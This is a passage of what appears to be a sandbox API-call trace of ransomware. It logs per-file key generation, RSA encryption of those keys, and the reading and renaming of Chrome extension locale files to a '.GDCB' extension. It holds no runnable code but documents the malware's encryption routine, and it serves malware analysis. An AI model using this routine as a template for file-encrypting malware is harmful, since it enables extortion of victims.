szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.627] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.627] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.628] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0264.630] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794ee0) returned 1 [0264.630] CryptGetKeyParam (in: hKey=0x6794ee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.630] CryptEncrypt (in: hKey=0x6794ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.630] GetLastError () returned 0x0 [0264.630] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.630] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.632] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794d20) returned 1 [0264.632] CryptGetKeyParam (in: hKey=0x6794d20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.632] CryptEncrypt (in: hKey=0x6794d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.633] GetLastError () returned 0x0 [0264.633] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.633] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.634] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.637] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.639] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xeb, lpOverlapped=0x0) returned 1 [0264.647] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.663] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0264.670] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.673] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.675] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.675] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.675] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.675] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.678] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.680] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.680] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.680] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.680] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.683] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794b20) returned 1 [0264.683] CryptGetKeyParam (in: hKey=0x6794b20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.683] CryptEncrypt (in: hKey=0x6794b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.683] GetLastError () returned 0x0 [0264.683] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.683] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.685] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794ce0) returned 1 [0264.685] CryptGetKeyParam (in: hKey=0x6794ce0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.685] CryptEncrypt (in: hKey=0x6794ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.685] GetLastError () returned 0x0 [0264.685] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.685] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.686] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.689] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.692] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd8, lpOverlapped=0x0) returned 1 [0264.700] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.707] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0264.712] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.718] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.718] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.718] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.721] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.723] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.723] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.723] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0264.725] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794e20) returned 1 [0264.725] CryptGetKeyParam (in: hKey=0x6794e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.725] CryptEncrypt (in: hKey=0x6794e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.726] GetLastError () returned 0x0 [0264.726] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0264.726] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.727] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794be0) returned 1 [0264.727] CryptGetKeyParam (in: hKey=0x6794be0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.728] CryptEncrypt (in: hKey=0x6794be0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.728] GetLastError () returned 0x0 [0264.728] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.728] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.729] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.732] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.734] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd7, lpOverlapped=0x0) returned 1 [0264.743] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.751] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0264.756] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.760] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.762] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.763] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.763] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.763] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.766] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.768] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.768] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.768] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.768] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.771] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794920) returned 1 [0264.771] CryptGetKeyParam (in: hKey=0x6794920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.771] CryptEncrypt (in: hKey=0x6794920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.771] GetLastError () returned 0x0 [0264.771] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.771] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0264.773] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794c20) returned 1 [0264.773] CryptGetKeyParam (in: hKey=0x6794c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.773] CryptEncrypt (in: hKey=0x6794c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.773] GetLastError () returned 0x0 [0264.773] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.774] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.775] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.779] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.782] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf5, lpOverlapped=0x0) returned 1 [0264.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.798] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0264.804] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.810] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.810] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.810] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0264.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.814] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.815] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0264.815] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.815] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.818] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67949a0) returned 1 [0264.818] CryptGetKeyParam (in: hKey=0x67949a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.818] CryptEncrypt (in: hKey=0x67949a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0264.818] GetLastError () returned 0x0 [0264.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.818] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0264.820] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6794de0) returned 1 [0264.820] CryptGetKeyParam (in: hKey=0x6794de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0264.820] CryptEncrypt (in: hKey=0x6794de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0264.820] GetLastError () returned 0x0 [0264.820] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0264.820] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0264.822] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0264.825] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0264.828] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe0, lpOverlapped=0x0) returned 1 [0264.837] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0264.844] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0264.849] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0264.852] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0264.855] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0264.855] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0264.855] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0264.855] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 